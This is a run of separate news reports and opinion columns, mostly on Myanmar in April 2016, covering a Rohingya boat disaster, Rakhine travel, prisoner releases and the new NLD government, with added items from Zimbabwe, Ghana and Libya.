The April 19 accident near Thae Chaung in Sittwe township was condemned by rights groups as the result of a state policy of segregation that limits the movements of the stateless Muslim Rohingya community, who are referred to as Bengalis by the government.

The disaster also drew international expressions of concern, highlighting how the new civilian-led government will be put under the spotlight for its treatment of Rakhines Muslim minority, of whom over 100,000 have been confined to camps since communal violence erupted in 2012.

The US said in a statement that it was deeply concerned by the accident. It linked the tragedy to the restrictions on access to markets, livelihoods and other basic services in Rakhine State which it said can lead to communities unnecessarily risking their lives in an attempt to improve the quality of life.

Janet Jackson, acting UN resident and humanitarian coordinator for Myanmar, said, This accident serves as a tragic reminder of the vulnerability that many communities and families face in this area of Rakhine where their only option is to use this mode of travel in order to access markets, livelihoods, and other basic services that are essential for a dignified life.

Rakhine police said yesterday that 22 bodies had been recovered. They said 19 people had survived, and five were in hospital.

Lieutenant Colonel Thit San, chief of Rakhine State police, told The Myanmar Times that the boat was bringing Muslims to Thae Chaung village near Sittwe to get medical care, buy goods and visit their relations.

It is difficult to say someone has responsibility, because what happened was caused by bad weather, he said. The government had so far not issued any instructions to make further investigations, he said.





Accounts of how many people had been on the crowded boat vary. Police put the number at 49, based on the official manifest, while the UN said more than 60 had been reported on board. Daw Ohmar Saw, a worker for Medecins Sans Frontieres in Kyaukphyu IDP camp, said there had been 81.

Police said most passengers had been residents of Sin Tet Maw and Kyauk Phyu camps and villages in Pauktaw township.

Daw Ohmar Saw blamed government restrictions that forced IDPs to make the hazardous journey by sea  when they are given official permission to travel  rather than going by land.

They do not have enough of anything in the camps, so they have no choice but to travel even when they know that is not safe, she said.

Daw Aung San Suu Kyi, criticised last year by her fellow Nobel Peace Prize laureates for failing to speak out on the crisis in Rakhine State, has yet to make her policies on Rakhine State public.

The UN said in its statement that it would continue its efforts in support of the government and local authorities to ensure the safety and well-being of all people in Rakhine State, irrespective of religion, ethnicity and citizenship.

The US embassy said it welcomed the governments stated commitment to improve conditions for all people in Rakhine State and promote reconciliation, peace and stability.

But reflecting the nationalist sensitivities surrounding the issue, many comments on the US embassy Facebook page condemned the US statement of concern, particularly for referring to the Muslims as Rohingya rather than their official label of Bengalis.

Lt Col Thit San said the military-appointed state minister for border affairs would provide K200,000 (US$170) to each family of the victims.
The tension starts even before you arrive. The 54-mile (87.2-kilometre) trip from Sittwe to Buthidaung, Rakhine State, takes six hours by what they call a speedboat. Part of the reason it takes so long is that the craft is heavily overloaded with passengers, most of whom have no ticket. So you have plenty of time while aboard to consider the fate of the ferry Aung Takon 3, which sank a year ago off this same coast with the loss of who knows how many people, because they didnt have tickets either.





Despite all the promises at the time, no proper investigation has ever been conducted. The authorities blamed the captain for being drunk, but it was clearly a systemic failure across the entire network in the state.

My boat had only one door, through which all passengers below decks would have to pass if they were to have any chance of survival, in the not particularly unlikely event of an emergency. There was another door, but it was kept locked.

Disembarking passengers then face the batteries of local officials waiting for them. Immigration and police officers seem to devote special attention to passengers of Muslim appearance, who are questioned and searched. Local residents say this is because of increased drug trafficking.

Though official census figures have yet to be announced, Buthidaung appears to be a Muslim-majority community. To all appearances, Muslims  most of whom describe themselves as Rohingya, but are officially called Bengalis  and ethnic Rakhines work together peacefully enough, particularly in the towns many goldsmith shops.

But in the teashops, Muslims and Rakhine sit apart, eyeing each other mistrustfully. Nor do they like to be photographed, and I soon found that their suspicion extends to a stranger who tries to talk to both groups. By this time I had inevitably attracted the attention of Special Branch, who shadowed me for the rest of my visit.

In town I could stroll around freely enough, though the villages in the countryside are scattered and remote. If anything happened there  an accident, a crime  it would be some time before the news came out.





Muslims warned me against travelling to Rakhine villages. Rakhines warned me against going to Muslim villages.

Whatever the community, nobody stays out much after dark. In many places, the 11pm to 4am curfew is still in place, enforced by police patrols. At least, its enforced for Muslims; one local lawyer told me that many are facing charges for violating the curfew. Rakhines are more easily able to break the curfew without fear of punishment.

Electricity in Buthidaung is on only from 6:30pm to 11pm, though many continue to watch battery-powered television until late. One teashop advertised English Premier League matches well into the morning, suggesting that some stay up all night watching games before heading home after 4am.

Then I went on to Maungdaw, on the border with Bangladesh and also a Muslim-majority township. Official figures, which cannot be independently confirmed, put the Muslim population at more than 90 percent of the total. The hour-long drive was punctuated by three checkpoints manned by armed guards who check all passengers.

Most businesses in Maungdaw seemed to be owned by Muslims, who trade with their co-religionists on the other side of the border, in worked gold, chillies, potatoes and dried fish. Maungdaw residents also visit Bangladesh for hospital treatment. The local immigration office says cross-border travel is frequent, on a one-day, one- or two-week, or one-month border pass, with 50 people crossing over on any given day.

Work is going on to reinforce the border fence, ostensibly to protect against erosion of the bank. Some of the construction workers were children, not yet even teenagers.

Maungdaw was the site of inter-communal violence in 2012, which affects all of Rakhine State to this day. Most of the villages destroyed then have been rebuilt and repopulated.

Maungdaw faces the same problems as many other communities in rural Myanmar, including water shortages and unemployment. Villages are remote and poor. International NGOs have moved in to build ponds in some areas to try to mitigate the water shortage.

Despite the apparent Muslim majority in both townships, I saw no mosques either in Buthidaung or Maungdaw town, though they could be seen in the villages. The hostility I felt when trying to talk to people in both communities was much greater in Maungdaw than in Buthidaung, and the atmosphere of tension was much higher.

Driving back to Buthidaung, I was warned that the main risk was from wild elephants roaming the May Yu Hills. They react particularly badly to drivers who sound their horns. I asked my driver to refrain from doing so, while driving as fast as he could. We made the hour-long trip in 30 minutes.

Back in Buthidaung I found I had been misinformed about the possibility of buying a return ticket to Sittwe. Tickets were sold out. No matter, said port officials, you can get on the boat without a ticket. Ticketless passengers could sit on deck, and had a better chance than ticketed passengers below decks to get to the lifejackets. I decided to chance it.

Ill let you know when I get back.
Legal advisers working on the appeal of two migrant workers sentenced to death in Thailand say they have strong case for the verdict to be overturned. They say the original sentence was based on circumstantial evidence only and represented an extreme miscarriage of justice.





Ko Zaw Linn and Ko Wai Phyo were convicted in December 2015 of the murder of David Miller and the rape and murder of Hannah Witheridge.

Their appeal is scheduled to be heard tomorrow, but the defence team has requested a one-month extension. The court has already approved three such delays.

U Aung Myo Thant, a legal adviser at the Myanmar embassy in Bangkok, said the appeal would be based on five main points, including concerns over the veracity of DNA evidence used to convict the pair.

A review of the case by an embassy team had found many important facts that were omitted and neglected by the court, he said.

DNA from other people was found on the bloodied hoe, but it did not match the accused, he said.

Also, [Ms Witheridges] hair could not be properly tested. We will point out these weak points to the court.





The embassy teams report pointed out a number of other perceived failings, including the incorrect admission of evidence, the failure of police to identify a potential suspect in CCTV footage who they refer to as the running man.

The report said the verdict should be overturned.

Myanmar trusted the judicial system of Thailand at first. However, the judgement of the Kho Tao murder case represented an extreme miscarriage of justice, it said.

U Sein Htay, chair of the Migrant Worker Rights Network, which is assisting the defendants, said the appeal was nearly complete but the defence needs more time.

A fourth application to push back the appeal date has been submitted, he said.

The defence has been working together with Australian DNA expert Jane Taupin to question the prosecutors claim that forensic samples led to a 100 percent match with the defendants.

Despite international criticism about how the Thai police handled the case  from failing to secure the murder scene to testing of the DNA sample collection  the two Rakhine natives were found guilty beyond reasonable doubt and sentenced to death on December 24, 2015.

The verdict sparked outrage in Myanmar. Protests were held by nationalist monks and even Commander-in-Chief Senior General Min Aung Hlaing weighed in, suggesting his Thai counterparts take another look at the case.

At the beginning of January, President U Thein Sein assigned a group of Myanmar lawyers to observe the case and report to the embassy in Thailand. The delegation plans to give suggestions to the defence team after finishing observations on the murder case documents.
More political prisoners are to be freed over the coming week, a senior government official said yesterday, as three more were released from prisons in Mandalay Region.





Lawyer U Zaw Win from Pyin Oo Lwin was released from Mandalays Oboe Prison after two charges against him were dropped, while two students held in Myingyan for allegedly breaching the flag law were also freed.

The Myanmar Police Force will withdraw charges against more political prisoners in the coming days, said U Zaw Htay, a spokesperson for State Councellor Daw Aung San Suu Kyi.

A senior police official based in Yangon confirmed yesterday that those charged under sections 505(b) and 143 of the penal code - for causing fear and alarm, and rioting - as well as section 18 of the Peaceful Assembly and Peaceful Procession Law would be released.

On April 8, 199 activists and student protesters on trial were released by the order of Daw Aung San Suu Kyi. Another 83 political prisoners were freed on April 17 after they were pardoned by President U Htin Kyaw.

But the Assistance Association for Political Prisoners (AAPP) estimates more than 40 political prisoners remain behind bars, and at least 100 more activists are on trial for political actions.

The Asian Human Rights Commission (AHRC) said in a statement that it welcomed the amnesty but was concerned that those arrested or convicted under the Unlawful Associations Act and Emergency Provisions Act had not yet been released.





Burma is now heading towards becoming a democratic country; such a country shouldnt have any political prisoners or politically motivated arrests or cases. Therefore, the AHRC calls for the new civilian government to release all the remaining political prisoners unconditionally as well, said the statement.

A spokesperson for the government would not specify whether those charged under certain laws had been excluded from the amnesty.

Meanwhile, a senior official from the AAPP said it was important that those freed received financial and social support  something that the previous government failed to do for the hundreds of political prisoners it freed.

The groups secretary, U Tate Naing, said it was also important to acknowledge the contribution of political prisoners to the countrys development.

The NLD government should hold a ceremony for former political prisoners who died in prison while serving their terms, he said. The previous government didnt even accept them as political prisoners. The NLD government should show that it has a different view.

Among those pardoned were four reporters and the chief executive officer of weekly publication Unity, who served two years and two months of seven-year sentences for breaching the 1923 State Secrets Act.

Reporter Ko Lu Maw Naing said he wanted government support to improve his skills and career opportunities.

The government should make a policy for the development of former political prisoners, he said, adding that he and his colleagues hoped to resume publishing Unity, which shut down shortly after they were arrested.
River pirates wielding knives and Molotov cocktails have been arrested near Mandalay, after they allegedly robbed a coal barge and attacked police.





The six men were arrested on April 17 following a joint operation between river patrol, township and district police from Mandalay and Sagaing regions. Others may still be at large, police have warned.

They are accused of robbing the Loi Sam Sit, a coal barge plying the Ayeyarwady River between Yangon and Shwekyetyet jetty in Amarapura township, earlier that day.

Police say the barge was approached between Letsaungyou village and Ponenarchan village in Tada-U township by a motorboat carrying about eight men. The boat forced the coal barge into shallow water, where it became stuck.

The knife-wielding pirates boarded the ship and stole K8 million in cash, jewellery valued at K1.5 million and items worth K860,000, before fleeing to Yeikthar Island in Sagaing township.

After police received a report of the robbery, they launched a joint operation between Mandalay river patrol police, and Amarapura and Tada-U township police, using seven boats.

Near Ponenarchan village the robbers attacked a police river patrol by bumping the patrol vessel with their motorboat, throwing daggers and Molotov cocktails, and hacking with long swords.

The men fled after being fired upon by police. One suspect was detained near the sandbank where the Loi Sam Sit had been beached. Five more suspects were arrested later that evening.





They face charges of dacoity, which carries a potential prison term of 10 years.

Translation by Thiri Min Htun
The National League for Democracy may scrap efforts to amend the constitution and instead seek to write a new charter, a legal adviser to the party has revealed.





Lawyer U Ko Ni said it was now clear that the party was wasting time trying to amend the current constitution, as the military holds veto powers and is currently unwilling to make major changes.

Stressing that it was only his personal view, he said the party may instead choose to hold a national referendum to gauge support for a new charter.

The NLD has tried twice to amend the constitution within parliament but both times it failed. So I think the NLD will not choose the same way again. They will consider writing a new one instead of wasting time trying to amend [the constitution], U Ko Ni said.

If the military still focuses on protecting its interests, it will be impossible to change any part of the constitution within parliament. Thats why writing a new one is the best way to pursue a democratic constitution.

Senior National League for Democracy officials refused to comment on the issue yesterday. I can say nothing, U Win Htein responded.

But both President U Htin Kyaw and State Counsellor Daw Aung San Suu Kyi have highlighted the constitution in recent speeches, insisting it remains the partys top reform priority.

The constitution needs to be one that will give birth to a genuine, federal democratic union. In our effort to amend the constitution, well choose ways and means that would not adversely affect the people. We wont resort to means which will affect national peace, Daw Aung San Suu Kyi said in her New Year address.





Neither has specified how constitutional change would be achieved, however. The military leadership has publicly stated it must occur only through parliament.

The NLD has in the past attempted to harness public support to force through constitutional amendments. In 2014, it partnered with the 88 Generation to launch a petition calling for changes to section 436, which gives the military a veto over constitutional change, and section 59(f), which bars Daw Aung San Suu Kyi from the presidency. More than 5 million signatures were subsequently gathered and submitted to parliament.

Last year, the NLD also proposed changes through a constitutional amendment committee set up by former Speaker Thura U Shwe Mann. However, the two amendment bills put forward were both blocked by the military.

While the NLD now controls the government and both houses of parliament, the military still retains 25 percent of seats, giving it a veto over any change.

But U Ko Ni noted that the president or NLD parliamentary bloc could put forward a bill proposing a referendum on drafting a new constitution. The bill could be passed with a simple majority, and the military would not have the numbers to block it.

Local political analyst U Yan Myo Thein said he was also now convinced that the NLD would call a national referendum on the constitution issue.

This is the only one way for the NLD to overcome the constitutional barrier. Theres nothing in the text of the 2008 constitution that forbids writing a new constitution. Also, the constitution says that the military is responsible for safeguarding the constitution  but it doesnt specify that this means the 2008 constitution. It means that the Tatmadaw has to safeguard any constitution that has been written according to the peoples desire, he said.

He suggested that any attempt to write a new constitution should be based on an all-inclusive political dialogue comprising the Tatmadaw, political parties, ethnic armed groups and other stakeholders.

I think there is no reason the military would refuse to write a new charter because they will be involved in the writing process and give suggestions of what they want. If it would happen, we could build a good foundation for the sake of the countrys future, U Yan Myo Thein said.

Others are less convinced that the military will accept a new charter, particularly after it spent the best part of two decades putting the current one in place.

In February, Senior General Min Aung Hlaing was quoted as saying in a speech to military officers that the constitution would be amended at an appropriate time.

Since Myanmar has been undergoing democratisation only for five years, necessary provisions should be amended at an appropriate time in accordance with the chapter XII of the constitution, the military newspaper Myawady quoted him as saying.

He has also repeatedly stressed the importance of the militarys role in national politics, most recently at Armed Forces Day celebrations.

Former MP Daw Dwe Bu said she believed the party should continue to pursue negotiations with Snr Gen Min Aung Hlaing to amend the constitution.

While acknowledging that the NLD has the numbers to pass a referendum bill, she said she was concerned about the potential consequences.

We need to understand that not all civilians support the NLD; some still support another group. Anyone can create violent incidents intentionally. If that happens, the Tatmadaw can take state power under the current constitution, Daw Dwe Bu said.

From 2004 to 2008, she participated in the process of drafting the current constitution as a Kachin ethnic representative.

Even though I was a participant, I had no chance to discuss what was good or bad in the constitution. I know there are bad points in this constitution, but there are also good points so the NLD should accept the good points and try to change bad points by negotiating with the Tatmadaw, she said.

The NLD has already shown itself willing to use its parliamentary majority to circumvent or stretch the boundaries of the constitution. In early April, the party passed a bill creating a new state counsellor position for Daw Aung San Suu Kyi, who was blocked from becoming president. Following the vote, the military, which had described the bill as possibly unconstitutional, accused the NLD of democratic bullying.

In the aftermath, some analysts said they believed the NLD should take more care to avoid conflict with the military.

But U Ko Ni said the wishes of the people, rather than the military, should be the partys top priority.

He cited Daw Aung San Suu Kyis New Year speech, in which she said Basic Principle 4 in the constitution was the most important point. The clause states that sovereign power derives from the people of the country  something Daw Aung San Suu Kyi said was the basic principle of democracy.

In her New Year speech, Daw Aung San Suu Kyi said clearly that she will take into account the role of the people, U Ko Ni said.

I dont understand why people think that the NLD will only do something if the military agree. This concept is wrong. The NLD have to do things that are really effective for the people and the military have to accept something if it is good for the people.
Don't expect quick changes. That was the message emanating from Nay Pyi Taw yesterday, with Daw Aung San Suu Kyi announcing a restructuring of government ministries that could take up to two months.





The plans include a review of all ministry budgets for 2016-17 to ensure they are in line with government regulations, the Presidents Office said.

The National League for Democracy leader, in her capacity as minister for the Presidents Office, yesterday held a meeting of ministers and permanent secretaries  the highest-ranking civil servants  to discuss government reforms and restructuring.

A statement released after the meeting said ministries would only be fully operational once the reforms and restructuring are complete, a process the government estimates will take one or two months.

The changes will include a rewriting of the constitution for each ministry to ensure it matches their objectives and purposes.

While the ministries are being redesigned, each ministry should openly provide suggestions and precautions to other ministries, she was quoted as saying in the statement.

Daw Aung San Suu Kyi also said that a 100-day plan would be revealed at a separate meeting scheduled to be held later, acording to the statement..

Permanent secretaries also presented their proposals for changes within their ministry, the statement said.





U Zaw Htay, a spokesperson for the Presidents Office, told The Myanmar Times that the restructuring would include a review of each ministrys plans and budgets.

The National Planning Law and Budget Law for 2016-17 were both drafted under the previous administration and approved by the Union Solidarity and Development Party-controlled parliament in January.

The Ministry of Finance and Planning will examine the plans of the ministries and their budgets. There will be some changes and budgets need to be adjusted, he said.

In March, then president-elect U Htin Kyaw announced that the new government would reduce the number of ministries from 36 to 21. As a result, many ministries have been merged.
News / National

by Prosper Dembedza

A 28-year-old Chishawasha woman allegedly assaulted a woman whom she suspected of having an extra marital affair with her husband, stripped her undergarment and disappeared with it, the court heard yesterday.Emmaculate Zenda was facing assault charges when she appeared before Harare magistrate Mr Arnold Maburo. Mr Maburo referred the matter to another court and ordered Zenda to appear on April 26 for trial commencement.Allegations are that on April 11, at around 7pm, Zenda went to one Patience Musaka's house and started accusing her of having an affair with her husband.The court heard that Zenda started assaulting Musaka with an umbrella. It is the State case that Zenda went on to strip Musaka's pant valued at $2 and went away with it and nothing was recovered.
The start has been, critics say, inauspicious. With its penchant for secrecy, missteps, odd choices and sudden shifts, the new National League for Democracy government has so far failed to impress with its choice of cabinet ministers.





To be sure, the governments difficulties are well understood. After decades of repressive military government, the country faces daunting economic, social, political and security-related problems. The pool of experienced talent available is shallow, as most experienced and democratically minded people were long since driven out of the country or imprisoned. And the temptation to allow loyalty to the NLD or its leader to trump proven experience must have been strong.

Given the long incubation period of the new government, however, and the cornucopia of free advice, funding and training on offer from well-disposed foreign governments and NGOs, some of the errors appear unforced. Why should a government that stresses the need for national reconciliation appear to have gone out of its way to offend ethnic parties? Why the haste in reaching out to defeated, outgoing ministers to continue to serve? Why the failure to make the most basic background checks on ministers now revealed to be in possession of fabricated qualifications? The sole benefit of a long stretch in opposition ought to be the freedom to reflect, to form a coherent philosophy of government, and to prepare to govern. Why was this not done?

These are the questions now circulating, more or less heatedly, in the media, on social media and in teashop conversations.

The NLD is not prepared to take over the reins. And  they dont have much civil service support. Their policy agenda is a closed box  if you shake it, you know its practically empty, said U Khin Zaw Win of the Tampadipa Institute.

In the space of a few weeks, theyve managed to alienate many ethnic nationalities and the military  something of an achievement.

Who's Who: Inside Myanmar's new cabinet

A case in point is the appointment of U Zaw Htay as spokesperson for Daw Aung San Suu Kyi in her capacity as minister for the Presidents Office, one of several key positions she holds.





The slogan of the NLD during the election campaign was, Time for a change. Its motto now in government seems to be Meet the new boss, same as the old boss.

U Zaw Htay, director of the Presidents Office when the president was U Thein Sein, is an unlikely standard bearer for change. He is best remembered for an incident last October in which the poet U Maung Saungkha claimed to have had a tattoo of the president inked on his penis. It was U Zaw Htays intervention that led to the arrest of the poet on charges carrying a jail term of up to three years. He has also drawn criticism for his controversial comments on the Muslim Rohingya, whom the government labels Bengalis.

Wearing her hat as party chair, Daw Aung San Suu Kyi had always made it clear that her government would include representatives of the military, the former Union Solidarity and Development Party administration, and ethnic parties, despite the NLDs crushing majority.

However, political analysts say there appears to be little accommodation with the ethnic parties, and the governments relationship with its former opponents appears to verge on the needy.

They point out that the NLD held no discussions with the ethnic parties during the selection of ministers, whether at the Union or state and regional levels. The result, if not the intent, has been to deepen distrust between the government and the ethnic parties.

The Arakan National Party accused the NLD of failing to consult it over the appointment of U Aye Thar Aung to be deputy speaker of the Amyotha Hluttaw, and the Mon National Party echoed that complaint over the appointment of U Naing Thet Lwin as ethnic affairs minister. Similar accusations from the Shan Nationalities League for Democracy were averted only when their member, Sai Nyunt Lwin, turned down the cabinet post offered to him. In the case of the ANP, the NLD could hardly have done more to weaken the unity of the countrys most successful ethnic party if they had set out to do precisely that.

Why would the NLD choose ethnic ministers without consulting their parties? Thats no way to build national unity and peace. They cant do everything themselves, said former Kachin State MP Daw Dwe Bu.

At the same time, the NLD has left in place, or even promoted, former USDP officials.

The resurgence of former Speaker Thura U Shwe Mann and his coterie, and the reported approach to other USDP ministers to continue to serve under the incoming government, have attracted considerable comment.

I dont see how NLD can lead the country with these people whose background is so controversial. There are many academics who could have served. The NLD had enough time to talk to them about accepting senior posts, but they didnt make systematic preparations to find the right people to join the government, said political commentator U Yan Myo Thein.

They made bad decisions, apparently because of differences of opinion among senior NLD members. They nominated people close to them for senior posts without checking their background properly, he said.

The government has already seen its first reshuffle. Having assumed four cabinet posts, Daw Aung San Suu Kyi has already quietly devolved two of them, Education and Energy, onto senior ministry officials  officials who rose through the civil service under the former government. The reason given for the self-multitasking was that no qualified persons could be found to take on the jobs.

U Khin Zaw Win said that neither the NLD nor Daw Aung San Suu Kyi had a large pool of talent to choose from. Their options were limited. Despite the populist surge in the elections, the NLD does not have many real allies. Many former bureaucrats and technocrats keep their distance, he said.

NLD senior officials admit to difficulties in choosing cabinet members but added that the criticisms of their choices have been very minor.

If we got it wrong, we will make changes, said party spokesperson U Win Htein.

He said NLD had laid great stress on two things: national reconciliation and the good of the country.

I know about U Zaw Htay, but we hope he will change his attitude under a democracy. All our choices are experimental, and if we find they dont work out we can change them, he said.

The NLD does have qualified people, but we made our choices because of national reconciliation. Were keeping our qualified people in reserve in case our first choice doesnt work out.

U Win Htein said some experts had declined offers to serve on the grounds that they were not confident of being able to do the job. I wont name them. There were only two or three, he said.

However, The Myanmar Times understands at least four or five individuals  and possibly up to 10  turned down informal offers for ministerial posts.

One of those who said no to joining the government was U Tin Htut Oo, a former director general in the Ministry of Agriculture and Irrigation. He said he declined the agriculture ministry position because of his age and other commitments, which include an agribusiness and undertaking research on the agriculture sector.

He said he had been with the government for 37 years and wanted more freedom to move around.

Whoever needs advice I am willing to advise anyone, he said. This is the best way for me to serve my country.

U Tin Htut Oo said it did not matter that the minister, former Yangon University rector U Aung Thu, did not come from an agriculture background.

Most of the departmental heads are highly qualified and with the right policies in place they can deliver improvements, he added.

Its a political post. The ministers are politicians, they are the leaders in terms of policy  If the [department heads] are given the right policy they can deliver it.

With the government back to work after the Thingyan break, it will soon be under pressure to deliver.

Giorgio Aliberti, the Italian ambassador to Myanmar, said he was confident the party had a solid team in place.

Expectations are very high, and so are the challenges. I believe that we have to give some political space to the new government; we cant expect miracles from day one, he said. But lets remember that many ministers have a very good track record in different fields. I am positive about the team. I am confident they will drive the country in a positive direction.

To counter accusations of a lack of transparency, the government has promised publication of a list of priorities around the end of April.

Daw Aung San Suu Kyi has instructed us to work with transparency. We intend to announce our plans. But were still getting to grips with the process, working with senior staff. But we will be holding monthly press conferences, said commerce minister U Than Myint.

U Than Myint, formerly known as Dr Than Myint, is one of two dodgy doctors whose qualifications were exposed as fake when they were named to high office in the NLD government.

I accept criticism, he said. I want to correct my mistake. The most important thing is for us to try our best. We cant work well in the future if we keep looking back to the past.

Additional reporting by Thomas Kean
Slavery and trafficking: ugly, evil businesses that undermine the most basic human rights and must never be tolerated.





The news this week that Myanmar journalist Esther Htusan and her colleagues at Associated Press were awarded a Pulitzer Prize for their investigation into slavery in the Southeast Asian fishing industry  an expose which led to international intervention, the freeing of over more than 2000 slaves and the arrest of a dozen people  is a cause for great celebration.

The dedication, risk and determination shown by Ms Htusan, Robin MacDowell, Margie Mason and Martha Mendoza in the pursuit and publication of this story deserves the highest recognition.

Even so, any satisfaction they take in receiving public accolades for their work must surely pale in comparison to the personal satisfaction of knowing they made such a massive difference to the lives of so many people and helped rectify a terrible wrong that others  including those heading international food companies  chose to ignore.

It is worth noting that the four reporters involved in this feat of journalistic excellence are women. Ms Htusan is the first female Myanmar journalist to be awarded a Pulitzer  a particular achievement in a country where gender discrimination is found at every level from parliament on down.

But the gender aspect of this story is notable for wider reasons than simply admiring someone for overcoming general sexist discrimination.

Modern slavery is a problem that many people in developed nations are unaware of. When it does hit international headlines it usually involves women and children in sexual slavery. It is depressing to acknowledge, but we are used to stories that portray women and children as victims, and we are used to the idea of sexual exploitation. In that context, the concept of women being held without freedom or rights is often portrayed as the somehow inevitable  if grim  consequence of the worldwide market for sex.





What the AP story highlighted was that men as well as women are living in slavery: While gender issues undoubtedly make women particularly vulnerable in a number of ways, the most powerful underlying factors that lead to people ending up as slaves are poverty, lack of education and coming from a nation where justice is scant.

The AP investigation revealed how men  many of them from Myanmar, but also from Cambodia, Laos and other poor Southeast Asian nations  were kept prisoners for years and forced to work in the fishing industry without pay. They faced violence and even death at the hands of their captors and were told they would never be released. It presented a picture of slavery that many found almost unbelievable in the current era and led to new US legislation in a bid to stop slave-caught seafood reaching American shelves. Unlike sexual slavery, nobody saw this form of slavery as inevitable.

In part, the strong foreign reaction to the fishing slaves may well have been to do with personal connection. It is unlikely that a visit to your local supermarket will end up with you inadvertently supporting sexual slavery  one-stop shopping has mercifully not gone quite that far.

But sex trafficking is also an international business, with international clients, and requires cultural change as well as legal intervention to end it.

That is of course no easy task, but I am fairly certain that the launch of a new music video by international non-profit organisation Turning Tables is not going to help matters.

No place for Asian Hookers

Asian Hooker in Myanmar, originally written by US comedy metal band Steel Panther  renowned for outrageous parody glam metal antics  but performed in this instance with serious intensity by Myanmar heavy metal band Nightmare, is an astoundingly ill-thought-out attempt to highlight the possibility of Myanmar becoming a major sex tourism destination like neighbouring Thailand.

A song that features unusual sexual applications for sticky rice and compares sexually transmitted infections to lethwei injuries is clearly not aiming for subtlety: Its jaunty sing-along  or rather scream-along metal-style  chorus sucky fucky, sucky fucky is among the less crude lyrical allusions to the sex trade.

It would almost be funny in its vulgarity  as presumably it was originally intended to be, Steel Panther having developed a large fan base for their particular brand of humour  were it not for the fact that in this case it is being used to highlight a serious issue and, out of context, is wrong in so many ways.

Firstly the video and the thinking behind it entirely ignores the vastly varying power dynamics in operation across the sex industry and implies all sex workers are victims; and secondly  presuming it is aimed at highlighting sexual slavery rather than consensual sexual/financial transactions  its entire premise is that Western men want to abuse Asian women and Asian women are powerless to stop them doing so.

It suggests that the key reason the women it discusses are exploited is that they are Asian.

Everyone knows that these dirty Asian hookers deserves whats coming to them right? is how Turning Tables alludes to what it perceives as the key problem.

Promoting the video on its Facebook site, the organisation warns that Myanmar is prone to become the next massive sex-tourism destination and export ground for Western sexual pathologies.

So far my research has failed to determine exactly what makes Western sexual pathologies different from Eastern sexual pathologies, but if I ever discover it I shall be sure to enlighten you in a future column.

Turning Tables does note that poverty has a role to play in sexual exploitation and slavery. Yet instead of focusing on positive ways to support women to find ways out of poverty and encourage them to realise their own power, the Asian Hooker in Myanmar video serves to further disempower women by suggesting it is up to men  sex purchasers and Western moviemakers  to solve the problem.

It appears the video is an attempt to shame would-be customers into improving their attitudes toward Asian women. One suspects that anyone who actually engaged in some of the practices described in the video  see the aforementioned sticky rice  would not be so easily embarrassed.

Admittedly a video that showed empowered Asian women leading the way in helping end slavery would perhaps not make such great clickbait as one which shows a woman undressing.

Nor would it play into Western patriarchal ideals about rescuing vulnerable Asian women  which as the Turning Tables video highlights is an attitude (sexual pathology even?) prevalent among certain foreign not-for-profit organisations as well as overly romantic sex-trade customers.

But as the AP investigation showed, slavery can affect people of any gender, and women can free male slaves as effectively as men can rescue women.

Slavery in any form is not acceptable and should never be considered inevitable. Ending it requires not gimmicky music videos, but bravery, hard work and a determination to support and uphold rights and equality for people regardless of gender or ethnicity. Those who do so are to be applauded.
22.04.2016 LISTEN

Its been just a little over a year since the unique vocal sound of Mr Eazi hit the airwaves in Ghana and entered the playlists of many. A sound so different and distinct that got people talking and asking questions like Who is he, where is he from, what genre is his music, who discovered him and a barrage of other questions that pop up anytime an amazing talent emerges unto the Ghanaian music scene.

Since Mr Eazis emergence, his ability as a hit-maker is evident with the back to back release of chart topping songs like Bankulize, Skintight, Shitor and an endless list of other great songs. This streak of musical success had him headlining all the just ended Ghana Independence musical shows in the UK.

But the big question is, what influenced his sudden global appeal and rise into the limelight? Its obviously hard-work, dedication to the art, talent, God and most importantly a solid team behind him known as Meister Music.

Meister Music is a Ghanaian record label focused on developing and managing unique and original talent from Ghana with the main aim of exporting their art to the rest of the world. Meister Music is the management label for Mr Eazi and is responsible for his brand strategy and music.

With over 5 years of marketing, commercial and brand management experience, the founder and CEO, Bernard Kafui Sokpe is an astute marketing professional with work experience spanning between telecommunications, digital and e-commerce.

With in-depth knowledge of the Ghanaian market, he has mirrored his expertise and investment into the music and showbiz industry and is making waves fit for a tsunami. Aside Mr Eazi, Some of the talent Meister Music has been known to work with in the past years are Africas biggest female dj, DJ Kess, the multi talented Deborah Vanessa and Ghanas first ever afro-electric dance musician, Okuntakinte.

Mr Bernard Sokpe states  Music and showbiz will be one of the largest revenue drivers for the nation in the coming years if we optimize it well and apply strategy. Key collaborations, partnerships and most importantly originality is the key to the growth of the industry Mr Sokpe also adds  Instead of our talents mimicking western music and style, they should dig true to their roots and make music that is strongly of African origin. In doing this, we can easily export our music globally and place it on the map. Meister Music has expressed interest in working on future projects with the Musicians Union of Ghana (MUSIGA) and collaborating to explore innovative ways in which Ghanaian musicians can sell their music to the world.

In addition to this, Meister Music is partnering with BBnz, a renowned music label in Ghana to push the agenda of selling Ghanas music to the world. BBnz recently collaborated with American music legend to showcase Ghanaian artists to the world at a concert in Kings Theatre Brooklyn, dubbed Diaspora Calling. Mr Eazi, E.L and Stonebwoy were the proud representatives from Ghana.

The future for the Ghana showbiz industry is highly promising and people like Mr Bernard Sokpe are keen on optimizing it to full potential. Lets keep our eyes peeled for what Meister Music has in store for Ghanaians and the world at large.
Tripoli (AFP) - Western ambassadors on Friday condemned "unacceptable threats" that they said were blocking a vote of confidence by lawmakers in a UN-backed Libyan unity government.

Most of the members of the House of Representatives elected in Libya's last polls in June 2014 have been based in the far eastern town of Tobruk since an Islamist-led militia alliance overran the capital shortly afterwards.

The militia alliance restored the previous, Islamist-dominated parliament elected in July 2012 and established a rival administration to that in Tobruk.

A unity government forged through UN mediation to replace the rival governments has now stamped its authority on most of the levers of power in Tripoli but has yet to win the legitimacy of a vote of confidence from the Tobruk parliament.

The government it installed is refusing to step down until it does so.

Under the UN deal, the Tobruk parliament will be the legislature of the new government, while members of the Tripoli parliament will have mandatory consultative powers.

But lawmakers in Tobruk have repeatedly failed to hold a vote, even though on Thursday evening 102 out of 198 of them issued a statement backing the unity government of prime minister-designate Fayez al-Sarraj.

"We commend the courageous efforts of the clear majority of House of Representatives MPs, who in spite of unacceptable threats to prevent the HoR from living up to its historic responsibility to the Libyan people, expressed their endorsement of the Government of National Accord," the Western ambassadors said in a joint statement.

They voiced backing for plans by pro-unity government lawmakers to convene away from Tobruk.

"We welcome the decision to convene the HoR in a Libyan location that offers security and safety for its members," the joint statement said.

UN envoy Martin Kobler expressed his profound disappointment at the inability of the House of Representatives to hold a vote on the unity government.

